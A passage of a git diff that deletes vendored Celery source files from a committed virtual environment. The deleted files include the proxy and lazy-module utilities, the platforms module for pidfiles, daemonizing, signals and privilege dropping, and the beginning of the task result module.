loc(*self.__args, **self.__kwargs) - try: # pragma: no cover - # not sure what this is about - return getattr(loc, self.__name__) - except AttributeError: # pragma: no cover - raise RuntimeError(f'no object bound to {self.__name__}') - - @property - def __dict__(self): - try: - return self._get_current_object().__dict__ - except RuntimeError: # pragma: no cover - raise AttributeError('__dict__') - - def __repr__(self): - try: - obj = self._get_current_object() - except RuntimeError: # pragma: no cover - return f'<{self.__class__.__name__} unbound>' - return repr(obj) - - def __bool__(self): - try: - return bool(self._get_current_object()) - except RuntimeError: # pragma: no cover - return False - - __nonzero__ = __bool__ # Py2 - - def __dir__(self): - try: - return dir(self._get_current_object()) - except RuntimeError: # pragma: no cover - return [] - - def __getattr__(self, name): - if name == '__members__': - return dir(self._get_current_object()) - return getattr(self._get_current_object(), name) - - def __setitem__(self, key, value): - self._get_current_object()[key] = value - - def __delitem__(self, key): - del self._get_current_object()[key] - - def __setattr__(self, name, value): - setattr(self._get_current_object(), name, value) - - def __delattr__(self, name): - delattr(self._get_current_object(), name) - - def __str__(self): - return str(self._get_current_object()) - - def __lt__(self, other): - return self._get_current_object() < other - - def __le__(self, other): - return self._get_current_object() <= other - - def __eq__(self, other): - return self._get_current_object() == other - - def __ne__(self, other): - return self._get_current_object() != other - - def __gt__(self, other): - return self._get_current_object() > other - - def __ge__(self, other): - return self._get_current_object() >= other - - def __hash__(self): - return hash(self._get_current_object()) - - def __call__(self, *a, **kw): - return self._get_current_object()(*a, **kw) - - def __len__(self): - return len(self._get_current_object()) - - def __getitem__(self, i): - return self._get_current_object()[i] - - def __iter__(self): - return iter(self._get_current_object()) - - def __contains__(self, i): - return i in self._get_current_object() - - def __add__(self, other): - return self._get_current_object() + other - - def __sub__(self, other): - return self._get_current_object() - other - - def __mul__(self, other): - return self._get_current_object() * other - - def __floordiv__(self, other): - return self._get_current_object() // other - - def __mod__(self, other): - return self._get_current_object() % other - - def __divmod__(self, other): - return self._get_current_object().__divmod__(other) - - def __pow__(self, other): - return self._get_current_object() ** other - - def __lshift__(self, other): - return self._get_current_object() << other - - def __rshift__(self, other): - return self._get_current_object() >> other - - def __and__(self, other): - return self._get_current_object() & other - - def __xor__(self, other): - return self._get_current_object() ^ other - - def __or__(self, other): - return self._get_current_object() | other - - def __div__(self, other): - return self._get_current_object().__div__(other) - - def __truediv__(self, other): - return self._get_current_object().__truediv__(other) - - def __neg__(self): - return -(self._get_current_object()) - - def __pos__(self): - return +(self._get_current_object()) - - def __abs__(self): - return abs(self._get_current_object()) - - def __invert__(self): - return ~(self._get_current_object()) - - def __complex__(self): - return complex(self._get_current_object()) - - def __int__(self): - return int(self._get_current_object()) - - def __float__(self): - return float(self._get_current_object()) - - def __oct__(self): - return oct(self._get_current_object()) - - def __hex__(self): - return hex(self._get_current_object()) - - def __index__(self): - return self._get_current_object().__index__() - - def __coerce__(self, other): - return self._get_current_object().__coerce__(other) - - def __enter__(self): - return self._get_current_object().__enter__() - - def __exit__(self, *a, **kw): - return self._get_current_object().__exit__(*a, **kw) - - def __reduce__(self): - return self._get_current_object().__reduce__() - - -class PromiseProxy(Proxy): - """Proxy that evaluates object once. - - :class:`Proxy` will evaluate the object each time, while the - promise will only evaluate it once. - """ - - __slots__ = ('__pending__', '__weakref__') - - def _get_current_object(self): - try: - return object.__getattribute__(self, '__thing') - except AttributeError: - return self.__evaluate__() - - def __then__(self, fun, *args, **kwargs): - if self.__evaluated__(): - return fun(*args, **kwargs) - from collections import deque - try: - pending = object.__getattribute__(self, '__pending__') - except AttributeError: - pending = None - if pending is None: - pending = deque() - object.__setattr__(self, '__pending__', pending) - pending.append((fun, args, kwargs)) - - def __evaluated__(self): - try: - object.__getattribute__(self, '__thing') - except AttributeError: - return False - return True - - def __maybe_evaluate__(self): - return self._get_current_object() - - def __evaluate__(self, - _clean=('_Proxy__local', - '_Proxy__args', - '_Proxy__kwargs')): - try: - thing = Proxy._get_current_object(self) - except Exception: - raise - else: - object.__setattr__(self, '__thing', thing) - for attr in _clean: - try: - object.__delattr__(self, attr) - except AttributeError: # pragma: no cover - # May mask errors so ignore - pass - try: - pending = object.__getattribute__(self, '__pending__') - except AttributeError: - pass - else: - try: - while pending: - fun, args, kwargs = pending.popleft() - fun(*args, **kwargs) - finally: - try: - object.__delattr__(self, '__pending__') - except AttributeError: # pragma: no cover - pass - return thing - - -def maybe_evaluate(obj): - """Attempt to evaluate promise, even if obj is not a promise.""" - try: - return obj.__maybe_evaluate__() - except AttributeError: - return obj - - -# ############# Module Generation ########################## - -# Utilities to dynamically -# recreate modules, either for lazy loading or -# to create old modules at runtime instead of -# having them litter the source tree. - -# import fails in python 2.5. fallback to reduce in stdlib - - -MODULE_DEPRECATED = """ -The module %s is deprecated and will be removed in a future version. -""" - -DEFAULT_ATTRS = {'__file__', '__path__', '__doc__', '__all__'} - - -# im_func is no longer available in Py3. -# instead the unbound method itself can be used. -def fun_of_method(method): - return method - - -def getappattr(path): - """Get attribute from current_app recursively. - - Example: ``getappattr('amqp.get_task_consumer')``. - - """ - from celery import current_app - return current_app._rgetattr(path) - - -COMPAT_MODULES = { - 'celery': { - 'execute': { - 'send_task': 'send_task', - }, - 'log': { - 'get_default_logger': 'log.get_default_logger', - 'setup_logging_subsystem': 'log.setup_logging_subsystem', - 'redirect_stdouts_to_logger': 'log.redirect_stdouts_to_logger', - }, - 'messaging': { - 'TaskConsumer': 'amqp.TaskConsumer', - 'establish_connection': 'connection', - 'get_consumer_set': 'amqp.TaskConsumer', - }, - 'registry': { - 'tasks': 'tasks', - }, - }, -} - -#: We exclude these from dir(celery) -DEPRECATED_ATTRS = set(COMPAT_MODULES['celery'].keys()) | {'subtask'} - - -class class_property: - - def __init__(self, getter=None, setter=None): - if getter is not None and not isinstance(getter, classmethod): - getter = classmethod(getter) - if setter is not None and not isinstance(setter, classmethod): - setter = classmethod(setter) - self.__get = getter - self.__set = setter - - info = getter.__get__(object) # just need the info attrs. - self.__doc__ = info.__doc__ - self.__name__ = info.__name__ - self.__module__ = info.__module__ - - def __get__(self, obj, type=None): - if obj and type is None: - type = obj.__class__ - return self.__get.__get__(obj, type)() - - def __set__(self, obj, value): - if obj is None: - return self - return self.__set.__get__(obj)(value) - - def setter(self, setter): - return self.__class__(self.__get, setter) - - -def reclassmethod(method): - return classmethod(fun_of_method(method)) - - -class LazyModule(ModuleType): - _compat_modules = () - _all_by_module = {} - _direct = {} - _object_origins = {} - - def __getattr__(self, name): - if name in self._object_origins: - module = __import__(self._object_origins[name], None, None, - [name]) - for item in self._all_by_module[module.__name__]: - setattr(self, item, getattr(module, item)) - return getattr(module, name) - elif name in self._direct: # pragma: no cover - module = __import__(self._direct[name], None, None, [name]) - setattr(self, name, module) - return module - return ModuleType.__getattribute__(self, name) - - def __dir__(self): - return [ - attr for attr in set(self.__all__) | DEFAULT_ATTRS - if attr not in DEPRECATED_ATTRS - ] - - def __reduce__(self): - return import_module, (self.__name__,) - - -def create_module(name, attrs, cls_attrs=None, pkg=None, - base=LazyModule, prepare_attr=None): - fqdn = '.'.join([pkg.__name__, name]) if pkg else name - cls_attrs = {} if cls_attrs is None else cls_attrs - pkg, _, modname = name.rpartition('.') - cls_attrs['__module__'] = pkg - - attrs = { - attr_name: (prepare_attr(attr) if prepare_attr else attr) - for attr_name, attr in attrs.items() - } - module = sys.modules[fqdn] = type( - modname, (base,), cls_attrs)(name) - module.__dict__.update(attrs) - return module - - -def recreate_module(name, compat_modules=None, by_module=None, direct=None, - base=LazyModule, **attrs): - compat_modules = compat_modules or COMPAT_MODULES.get(name, ()) - by_module = by_module or {} - direct = direct or {} - old_module = sys.modules[name] - origins = get_origins(by_module) - - _all = tuple(set(reduce( - operator.add, - [tuple(v) for v in [compat_modules, origins, direct, attrs]], - ))) - cattrs = { - '_compat_modules': compat_modules, - '_all_by_module': by_module, '_direct': direct, - '_object_origins': origins, - '__all__': _all, - } - new_module = create_module(name, attrs, cls_attrs=cattrs, base=base) - new_module.__dict__.update({ - mod: get_compat_module(new_module, mod) for mod in compat_modules - }) - new_module.__spec__ = old_module.__spec__ - return old_module, new_module - - -def get_compat_module(pkg, name): - def prepare(attr): - if isinstance(attr, str): - return Proxy(getappattr, (attr,)) - return attr - - attrs = COMPAT_MODULES[pkg.__name__][name] - if isinstance(attrs, str): - fqdn = '.'.join([pkg.__name__, name]) - module = sys.modules[fqdn] = import_module(attrs) - return module - attrs['__all__'] = list(attrs) - return create_module(name, dict(attrs), pkg=pkg, prepare_attr=prepare) - - -def get_origins(defs): - origins = {} - for module, attrs in defs.items(): - origins.update({attr: module for attr in attrs}) - return origins diff --git a/backend/venv/Lib/site-packages/celery/platforms.py b/backend/venv/Lib/site-packages/celery/platforms.py deleted file mode 100644 index c0d0438a..00000000 --- a/backend/venv/Lib/site-packages/celery/platforms.py +++ /dev/null @@ -1,843 +0,0 @@ -"""Platforms. - -Utilities dealing with platform specifics: signals, daemonization, -users, groups, and so on. -""" - -import atexit -import errno -import math -import numbers -import os -import platform as _platform -import signal as _signal -import sys -import warnings -from contextlib import contextmanager - -from billiard.compat import close_open_fds, get_fdmax -from billiard.util import set_pdeathsig as _set_pdeathsig -# fileno used to be in this module -from kombu.utils.compat import maybe_fileno -from kombu.utils.encoding import safe_str - -from .exceptions import SecurityError, SecurityWarning, reraise -from .local import try_import - -try: - from billiard.process import current_process -except ImportError: - current_process = None - -_setproctitle = try_import('setproctitle') -resource = try_import('resource') -pwd = try_import('pwd') -grp = try_import('grp') -mputil = try_import('multiprocessing.util') - -__all__ = ( - 'EX_OK', 'EX_FAILURE', 'EX_UNAVAILABLE', 'EX_USAGE', 'SYSTEM', - 'IS_macOS', 'IS_WINDOWS', 'SIGMAP', 'pyimplementation', 'LockFailed', - 'get_fdmax', 'Pidfile', 'create_pidlock', 'close_open_fds', - 'DaemonContext', 'detached', 'parse_uid', 'parse_gid', 'setgroups', - 'initgroups', 'setgid', 'setuid', 'maybe_drop_privileges', 'signals', - 'signal_name', 'set_process_title', 'set_mp_process_title', - 'get_errno_name', 'ignore_errno', 'fd_by_path', 'isatty', -) - -# exitcodes -EX_OK = getattr(os, 'EX_OK', 0) -EX_FAILURE = 1 -EX_UNAVAILABLE = getattr(os, 'EX_UNAVAILABLE', 69) -EX_USAGE = getattr(os, 'EX_USAGE', 64) -EX_CANTCREAT = getattr(os, 'EX_CANTCREAT', 73) - -SYSTEM = _platform.system() -IS_macOS = SYSTEM == 'Darwin' -IS_WINDOWS = SYSTEM == 'Windows' - -DAEMON_WORKDIR = '/' - -PIDFILE_FLAGS = os.O_CREAT | os.O_EXCL | os.O_WRONLY -PIDFILE_MODE = ((os.R_OK | os.W_OK) << 6) | ((os.R_OK) << 3) | (os.R_OK) - -PIDLOCKED = """ERROR: Pidfile ({0}) already exists. -Seems we're already running? (pid: {1})""" - -ROOT_DISALLOWED = """\ -Running a worker with superuser privileges when the -worker accepts messages serialized with pickle is a very bad idea! - -If you really want to continue then you have to set the C_FORCE_ROOT -environment variable (but please think about this before you do). - -User information: uid={uid} euid={euid} gid={gid} egid={egid} -""" - -ROOT_DISCOURAGED = """\ -You're running the worker with superuser privileges: this is -absolutely not recommended! - -Please specify a different user using the --uid option. - -User information: uid={uid} euid={euid} gid={gid} egid={egid} -""" - -ASSUMING_ROOT = """\ -An entry for the specified gid or egid was not found. -We're assuming this is a potential security issue. -""" - -SIGNAMES = { - sig for sig in dir(_signal) - if sig.startswith('SIG') and '_' not in sig -} -SIGMAP = {getattr(_signal, name): name for name in SIGNAMES} - - -def isatty(fh): - """Return true if the process has a controlling terminal.""" - try: - return fh.isatty() - except AttributeError: - pass - - -def pyimplementation(): - """Return string identifying the current Python implementation.""" - if hasattr(_platform, 'python_implementation'): - return _platform.python_implementation() - elif sys.platform.startswith('java'): - return 'Jython ' + sys.platform - elif hasattr(sys, 'pypy_version_info'): - v = '.'.join(str(p) for p in sys.pypy_version_info[:3]) - if sys.pypy_version_info[3:]: - v += '-' + ''.join(str(p) for p in sys.pypy_version_info[3:]) - return 'PyPy ' + v - else: - return 'CPython' - - -class LockFailed(Exception): - """Raised if a PID lock can't be acquired.""" - - -class Pidfile: - """Pidfile. - - This is the type returned by :func:`create_pidlock`. - - See Also: - Best practice is to not use this directly but rather use - the :func:`create_pidlock` function instead: - more convenient and also removes stale pidfiles (when - the process holding the lock is no longer running). - """ - - #: Path to the pid lock file. - path = None - - def __init__(self, path): - self.path = os.path.abspath(path) - - def acquire(self): - """Acquire lock.""" - try: - self.write_pid() - except OSError as exc: - reraise(LockFailed, LockFailed(str(exc)), sys.exc_info()[2]) - return self - - __enter__ = acquire - - def is_locked(self): - """Return true if the pid lock exists.""" - return os.path.exists(self.path) - - def release(self, *args): - """Release lock.""" - self.remove() - - __exit__ = release - - def read_pid(self): - """Read and return the current pid.""" - with ignore_errno('ENOENT'): - with open(self.path) as fh: - line = fh.readline() - if line.strip() == line: # must contain '\n' - raise ValueError( - f'Partial or invalid pidfile {self.path}') - - try: - return int(line.strip()) - except ValueError: - raise ValueError( - f'pidfile {self.path} contents invalid.') - - def remove(self): - """Remove the lock.""" - with ignore_errno(errno.ENOENT, errno.EACCES): - os.unlink(self.path) - - def remove_if_stale(self): - """Remove the lock if the process isn't running. - - I.e. process does not respond to signal. - """ - try: - pid = self.read_pid() - except ValueError: - print('Broken pidfile found - Removing it.', file=sys.stderr) - self.remove() - return True - if not pid: - self.remove() - return True - if pid == os.getpid(): - # this can be common in k8s pod with PID of 1 - don't kill - self.remove() - return True - - try: - os.kill(pid, 0) - except OSError as exc: - if exc.errno == errno.ESRCH or exc.errno == errno.EPERM: - print('Stale pidfile exists - Removing it.', file=sys.stderr) - self.remove() - return True - except SystemError: - print('Stale pidfile exists - Removing it.', file=sys.stderr) - self.remove() - return True - return False - - def write_pid(self): - pid = os.getpid() - content = f'{pid}\n' - - pidfile_fd = os.open(self.path, PIDFILE_FLAGS, PIDFILE_MODE) - pidfile = os.fdopen(pidfile_fd, 'w') - try: - pidfile.write(content) - # flush and sync so that the re-read below works. - pidfile.flush() - try: - os.fsync(pidfile_fd) - except AttributeError: # pragma: no cover - pass - finally: - pidfile.close() - - rfh = open(self.path) - try: - if rfh.read() != content: - raise LockFailed( - "Inconsistency: Pidfile content doesn't match at re-read") - finally: - rfh.close() - - -PIDFile = Pidfile # XXX compat alias - - -def create_pidlock(pidfile): - """Create and verify pidfile. - - If the pidfile already exists the program exits with an error message, - however if the process it refers to isn't running anymore, the pidfile - is deleted and the program continues. - - This function will automatically install an :mod:`atexit` handler - to release the lock at exit, you can skip this by calling - :func:`_create_pidlock` instead. - - Returns: - Pidfile: used to manage the lock. - - Example: - >>> pidlock = create_pidlock('/var/run/app.pid') - """ - pidlock = _create_pidlock(pidfile) - atexit.register(pidlock.release) - return pidlock - - -def _create_pidlock(pidfile): - pidlock = Pidfile(pidfile) - if pidlock.is_locked() and not pidlock.remove_if_stale(): - print(PIDLOCKED.format(pidfile, pidlock.read_pid()), file=sys.stderr) - raise SystemExit(EX_CANTCREAT) - pidlock.acquire() - return pidlock - - -def fd_by_path(paths): - """Return a list of file descriptors. - - This method returns list of file descriptors corresponding to - file paths passed in paths variable. - - Arguments: - paths: List[str]: List of file paths. - - Returns: - List[int]: List of file descriptors. - - Example: - >>> keep = fd_by_path(['/dev/urandom', '/my/precious/']) - """ - stats = set() - for path in paths: - try: - fd = os.open(path, os.O_RDONLY) - except OSError: - continue - try: - stats.add(os.fstat(fd)[1:3]) - finally: - os.close(fd) - - def fd_in_stats(fd): - try: - return os.fstat(fd)[1:3] in stats - except OSError: - return False - - return [_fd for _fd in range(get_fdmax(2048)) if fd_in_stats(_fd)] - - -class DaemonContext: - """Context manager daemonizing the process.""" - - _is_open = False - - def __init__(self, pidfile=None, workdir=None, umask=None, - fake=False, after_chdir=None, after_forkers=True, - **kwargs): - if isinstance(umask, str): - # octal or decimal, depending on initial zero. - umask = int(umask, 8 if umask.startswith('0') else 10) - self.workdir = workdir or DAEMON_WORKDIR - self.umask = umask - self.fake = fake - self.after_chdir = after_chdir - self.after_forkers = after_forkers - self.stdfds = (sys.stdin, sys.stdout, sys.stderr) - - def redirect_to_null(self, fd): - if fd is not None: - dest = os.open(os.devnull, os.O_RDWR) - os.dup2(dest, fd) - - def open(self): - if not self._is_open: - if not self.fake: - self._detach() - - os.chdir(self.workdir) - if self.umask is not None: - os.umask(self.umask) - - if self.after_chdir: - self.after_chdir() - - if not self.fake: - # We need to keep /dev/urandom from closing because - # shelve needs it, and Beat needs shelve to start. - keep = list(self.stdfds) + fd_by_path(['/dev/urandom']) - close_open_fds(keep) - for fd in self.stdfds: - self.redirect_to_null(maybe_fileno(fd)) - if self.after_forkers and mputil is not None: - mputil._run_after_forkers() - - self._is_open = True - - __enter__ = open - - def close(self, *args): - if self._is_open: - self._is_open = False - - __exit__ = close - - def _detach(self): - if os.fork() == 0: # first child - os.setsid() # create new session - if os.fork() > 0: # pragma: no cover - # second child - os._exit(0) - else: - os._exit(0) - return self - - -def detached(logfile=None, pidfile=None, uid=None, gid=None, umask=0, - workdir=None, fake=False, **opts): - """Detach the current process in the background (daemonize). - - Arguments: - logfile (str): Optional log file. - The ability to write to this file - will be verified before the process is detached. - pidfile (str): Optional pid file. - The pidfile won't be created, - as this is the responsibility of the child. But the process will - exit if the pid lock exists and the pid written is still running. - uid (int, str): Optional user id or user name to change - effective privileges to. - gid (int, str): Optional group id or group name to change - effective privileges to. - umask (str, int): Optional umask that'll be effective in - the child process. - workdir (str): Optional new working directory. - fake (bool): Don't actually detach, intended for debugging purposes. - **opts (Any): Ignored. - - Example: - >>> from celery.platforms import detached, create_pidlock - >>> with detached( - ... logfile='/var/log/app.log', - ... pidfile='/var/run/app.pid', - ... uid='nobody'): - ... # Now in detached child process with effective user set to nobody, - ... # and we know that our logfile can be written to, and that - ... # the pidfile isn't locked. - ... pidlock = create_pidlock('/var/run/app.pid') - ... - ... # Run the program - ... program.run(logfile='/var/log/app.log') - """ - if not resource: - raise RuntimeError('This platform does not support detach.') - workdir = os.getcwd() if workdir is None else workdir - - signals.reset('SIGCLD') # Make sure SIGCLD is using the default handler. - maybe_drop_privileges(uid=uid, gid=gid) - - def after_chdir_do(): - # Since without stderr any errors will be silently suppressed, - # we need to know that we have access to the logfile. - logfile and open(logfile, 'a').close() - # Doesn't actually create the pidfile, but makes sure it's not stale. - if pidfile: - _create_pidlock(pidfile).release() - - return DaemonContext( - umask=umask, workdir=workdir, fake=fake, after_chdir=after_chdir_do, - ) - - -def parse_uid(uid): - """Parse user id. - - Arguments: - uid (str, int): Actual uid, or the username of a user. - Returns: - int: The actual uid. - """ - try: - return int(uid) - except ValueError: - try: - return pwd.getpwnam(uid).pw_uid - except (AttributeError, KeyError): - raise KeyError(f'User does not exist: {uid}') - - -def parse_gid(gid): - """Parse group id. - - Arguments: - gid (str, int): Actual gid, or the name of a group. - Returns: - int: The actual gid of the group. - """ - try: - return int(gid) - except ValueError: - try: - return grp.getgrnam(gid).gr_gid - except (AttributeError, KeyError): - raise KeyError(f'Group does not exist: {gid}') - - -def _setgroups_hack(groups): - # :fun:`setgroups` may have a platform-dependent limit, - # and it's not always possible to know in advance what this limit - # is, so we use this ugly hack stolen from glibc. - groups = groups[:] - - while 1: - try: - return os.setgroups(groups) - except ValueError: # error from Python's check. - if len(groups) <= 1: - raise - groups[:] = groups[:-1] - except OSError as exc: # error from the OS. - if exc.errno != errno.EINVAL or len(groups) <= 1: - raise - groups[:] = groups[:-1] - - -def setgroups(groups): - """Set active groups from a list of group ids.""" - max_groups = None - try: - max_groups = os.sysconf('SC_NGROUPS_MAX') - except Exception: # pylint: disable=broad-except - pass - try: - return _setgroups_hack(groups[:max_groups]) - except OSError as exc: - if exc.errno != errno.EPERM: - raise - if any(group not in groups for group in os.getgroups()): - # we shouldn't be allowed to change to this group. - raise - - -def initgroups(uid, gid): - """Init process group permissions. - - Compat version of :func:`os.initgroups` that was first - added to Python 2.7. - """ - if not pwd: # pragma: no cover - return - username = pwd.getpwuid(uid)[0] - if hasattr(os, 'initgroups'): # Python 2.7+ - return os.initgroups(username, gid) - groups = [gr.gr_gid for gr in grp.getgrall() - if username in gr.gr_mem] - setgroups(groups) - - -def setgid(gid): - """Version of :func:`os.setgid` supporting group names.""" - os.setgid(parse_gid(gid)) - - -def setuid(uid): - """Version of :func:`os.setuid` supporting usernames.""" - os.setuid(parse_uid(uid)) - - -def maybe_drop_privileges(uid=None, gid=None): - """Change process privileges to new user/group. - - If UID and GID is specified, the real user/group is changed. - - If only UID is specified, the real user is changed, and the group is - changed to the users primary group. - - If only GID is specified, only the group is changed. - """ - if sys.platform == 'win32': - return - if os.geteuid(): - # no point trying to setuid unless we're root. - if not os.getuid(): - raise SecurityError('contact support') - uid = uid and parse_uid(uid) - gid = gid and parse_gid(gid) - - if uid: - _setuid(uid, gid) - else: - gid and setgid(gid) - - if uid and not os.getuid() and not os.geteuid(): - raise SecurityError('Still root uid after drop privileges!') - if gid and not os.getgid() and not os.getegid(): - raise SecurityError('Still root gid after drop privileges!') - - -def _setuid(uid, gid): - # If GID isn't defined, get the primary GID of the user. - if not gid and pwd: - gid = pwd.getpwuid(uid).pw_gid - # Must set the GID before initgroups(), as setgid() - # is known to zap the group list on some platforms. - - # setgid must happen before setuid (otherwise the setgid operation - # may fail because of insufficient privileges and possibly stay - # in a privileged group). - setgid(gid) - initgroups(uid, gid) - - # at last: - setuid(uid) - # ... and make sure privileges cannot be restored: - try: - setuid(0) - except OSError as exc: - if exc.errno != errno.EPERM: - raise - # we should get here: cannot restore privileges, - # everything was fine. - else: - raise SecurityError( - 'non-root user able to restore privileges after setuid.') - - -if hasattr(_signal, 'setitimer'): - def _arm_alarm(seconds): - _signal.setitimer(_signal.ITIMER_REAL, seconds) -else: - def _arm_alarm(seconds): - _signal.alarm(math.ceil(seconds)) - - -class Signals: - """Convenience interface to :mod:`signals`. - - If the requested signal isn't supported on the current platform, - the operation will be ignored. - - Example: - >>> from celery.platforms import signals - - >>> from proj.handlers import my_handler - >>> signals['INT'] = my_handler - - >>> signals['INT'] - my_handler - - >>> signals.supported('INT') - True - - >>> signals.signum('INT') - 2 - - >>> signals.ignore('USR1') - >>> signals['USR1'] == signals.ignored - True - - >>> signals.reset('USR1') - >>> signals['USR1'] == signals.default - True - - >>> from proj.handlers import exit_handler, hup_handler - >>> signals.update(INT=exit_handler, - ... TERM=exit_handler, - ... HUP=hup_handler) - """ - - ignored = _signal.SIG_IGN - default = _signal.SIG_DFL - - def arm_alarm(self, seconds): - return _arm_alarm(seconds) - - def reset_alarm(self): - return _signal.alarm(0) - - def supported(self, name): - """Return true value if signal by ``name`` exists on this platform.""" - try: - self.signum(name) - except AttributeError: - return False - else: - return True - - def signum(self, name): - """Get signal number by name.""" - if isinstance(name, numbers.Integral): - return name - if not isinstance(name, str) \ - or not name.isupper(): - raise TypeError('signal name must be uppercase string.') - if not name.startswith('SIG'): - name = 'SIG' + name - return getattr(_signal, name) - - def reset(self, *signal_names): - """Reset signals to the default signal handler. - - Does nothing if the platform has no support for signals, - or the specified signal in particular. - """ - self.update((sig, self.default) for sig in signal_names) - - def ignore(self, *names): - """Ignore signal using :const:`SIG_IGN`. - - Does nothing if the platform has no support for signals, - or the specified signal in particular. - """ - self.update((sig, self.ignored) for sig in names) - - def __getitem__(self, name): - return _signal.getsignal(self.signum(name)) - - def __setitem__(self, name, handler): - """Install signal handler. - - Does nothing if the current platform has no support for signals, - or the specified signal in particular. - """ - try: - _signal.signal(self.signum(name), handler) - except (AttributeError, ValueError): - pass - - def update(self, _d_=None, **sigmap): - """Set signal handlers from a mapping.""" - for name, handler in dict(_d_ or {}, **sigmap).items(): - self[name] = handler - - -signals = Signals() -get_signal = signals.signum # compat -install_signal_handler = signals.__setitem__ # compat -reset_signal = signals.reset # compat -ignore_signal = signals.ignore # compat - - -def signal_name(signum): - """Return name of signal from signal number.""" - return SIGMAP[signum][3:] - - -def strargv(argv): - arg_start = 2 if 'manage' in argv[0] else 1 - if len(argv) > arg_start: - return ' '.join(argv[arg_start:]) - return '' - - -def set_pdeathsig(name): - """Sends signal ``name`` to process when parent process terminates.""" - if signals.supported('SIGKILL'): - try: - _set_pdeathsig(signals.signum('SIGKILL')) - except OSError: - # We ignore when OS does not support set_pdeathsig - pass - - -def set_process_title(progname, info=None): - """Set the :command:`ps` name for the currently running process. - - Only works if :pypi:`setproctitle` is installed. - """ - proctitle = f'[{progname}]' - proctitle = f'{proctitle} {info}' if info else proctitle - if _setproctitle: - _setproctitle.setproctitle(safe_str(proctitle)) - return proctitle - - -if os.environ.get('NOSETPS'): # pragma: no cover - - def set_mp_process_title(*a, **k): - """Disabled feature.""" -else: - - def set_mp_process_title(progname, info=None, hostname=None): - """Set the :command:`ps` name from the current process name. - - Only works if :pypi:`setproctitle` is installed. - """ - if hostname: - progname = f'{progname}: {hostname}' - name = current_process().name if current_process else 'MainProcess' - return set_process_title(f'{progname}:{name}', info=info) - - -def get_errno_name(n): - """Get errno for string (e.g., ``ENOENT``).""" - if isinstance(n, str): - return getattr(errno, n) - return n - - -@contextmanager -def ignore_errno(*errnos, **kwargs): - """Context manager to ignore specific POSIX error codes. - - Takes a list of error codes to ignore: this can be either - the name of the code, or the code integer itself:: - - >>> with ignore_errno('ENOENT'): - ... with open('foo', 'r') as fh: - ... return fh.read() - - >>> with ignore_errno(errno.ENOENT, errno.EPERM): - ... pass - - Arguments: - types (Tuple[Exception]): A tuple of exceptions to ignore - (when the errno matches). Defaults to :exc:`Exception`. - """ - types = kwargs.get('types') or (Exception,) - errnos = [get_errno_name(errno) for errno in errnos] - try: - yield - except types as exc: - if not hasattr(exc, 'errno'): - raise - if exc.errno not in errnos: - raise - - -def check_privileges(accept_content): - if grp is None or pwd is None: - return - pickle_or_serialize = ('pickle' in accept_content - or 'application/group-python-serialize' in accept_content) - - uid = os.getuid() if hasattr(os, 'getuid') else 65535 - gid = os.getgid() if hasattr(os, 'getgid') else 65535 - euid = os.geteuid() if hasattr(os, 'geteuid') else 65535 - egid = os.getegid() if hasattr(os, 'getegid') else 65535 - - if hasattr(os, 'fchown'): - if not all(hasattr(os, attr) - for attr in ('getuid', 'getgid', 'geteuid', 'getegid')): - raise SecurityError('suspicious platform, contact support') - - # Get the group database entry for the current user's group and effective - # group id using grp.getgrgid() method - # We must handle the case where either the gid or the egid are not found. - try: - gid_entry = grp.getgrgid(gid) - egid_entry = grp.getgrgid(egid) - except KeyError: - warnings.warn(SecurityWarning(ASSUMING_ROOT)) - _warn_or_raise_security_error(egid, euid, gid, uid, - pickle_or_serialize) - return - - # Get the group and effective group name based on gid - gid_grp_name = gid_entry[0] - egid_grp_name = egid_entry[0] - - # Create lists to use in validation step later. - gids_in_use = (gid_grp_name, egid_grp_name) - groups_with_security_risk = ('sudo', 'wheel') - - is_root = uid == 0 or euid == 0 - # Confirm that the gid and egid are not one that - # can be used to escalate privileges. - if is_root or any(group in gids_in_use - for group in groups_with_security_risk): - _warn_or_raise_security_error(egid, euid, gid, uid, - pickle_or_serialize) - - -def _warn_or_raise_security_error(egid, euid, gid, uid, pickle_or_serialize): - c_force_root = os.environ.get('C_FORCE_ROOT', False) - - if pickle_or_serialize and not c_force_root: - raise SecurityError(ROOT_DISALLOWED.format( - uid=uid, euid=euid, gid=gid, egid=egid, - )) - - warnings.warn(SecurityWarning(ROOT_DISCOURAGED.format( - uid=uid, euid=euid, gid=gid, egid=egid, - ))) diff --git a/backend/venv/Lib/site-packages/celery/result.py b/backend/venv/Lib/site-packages/celery/result.py deleted file mode 100644 index 75512c5a..00000000 --- a/backend/venv/Lib/site-packages/celery/result.py +++ /dev/null @@ -1,1090 +0,0 @@ -"""Task results/state and results for groups of tasks.""" - -import datetime -import time -from collections import deque -from contextlib import contextmanager -from weakref import proxy - -from dateutil.parser import isoparse -from kombu.utils.objects import cached_property -from vine import Thenable, barrier, promise - -from . import current_app, states -from ._state import _set_task_join_will_block, task_join_will_block -from .app import app_or_default -from .exceptions import ImproperlyConfigured, IncompleteStream, TimeoutError -from .utils.graph import DependencyGraph, GraphFormatter - -try: - import tblib -except ImportError: - tblib = None - -__all__ = ( - 'ResultBase', 'AsyncResult', 'ResultSet', - 'GroupResult', 'EagerResult', 'result_from_tuple', -) - -E_WOULDBLOCK = """\ -Never call result.get() within a task! -See https://docs.celeryq.dev/en/latest/userguide/tasks.html\ -#avoid-launching-synchronous-subtasks -""" - - -def assert_will_not_block(): - if task_join_will_block(): - raise RuntimeError(E_WOULDBLOCK) - - -@contextmanager -def allow_join_result(): - reset_value = task_join_will_block() - _set_task_join_will_block(False) - try: - yield - finally: - _set_task_join_will_block(reset_value) - - -@contextmanager -def denied_join_result(): - reset_value = task_join_will_block() - _set_task_join_will_block(True) - try: - yield - finally: - _set_task_join_will_block(reset_value) - - -class ResultBase: - """Base class for results.""" - - #: Parent result (if part of a chain) - parent = None - - -@Thenable.register -class AsyncResult(ResultBase): - """Query task state. - - Arguments: - id (str): See :attr:`id`. - backend (Backend): See :attr:`backend`. - """ - - app = None - - #: Error raised for timeouts. - TimeoutError = TimeoutError - - #: The task's UUID. - id = None - - #: The task result backend to use. - backend = None - - def __init__(self, id, backend=None, - task_name=None, # deprecated - app=None, parent=None): - if id is None: - raise ValueError( - f'AsyncResult requires valid id, not {type(id)}') - self.app = app_or_default(app or self.app) - self.id = id - self.backend = backend or self.app.backend - self.parent = parent - self.on_ready = promise(self._on_fulfilled, weak=True) - self._cache = None - self._ignored = False - - @property - def ignored(self): - """If True, task result retrieval is disabled.""" - if hasattr(self, '_ignored'): - return self._ignored - return False - - @ignored.setter - def ignored(self, value): - """Enable/disable task result retrieval.""" - self._ignored = value - - def then(self, callback, 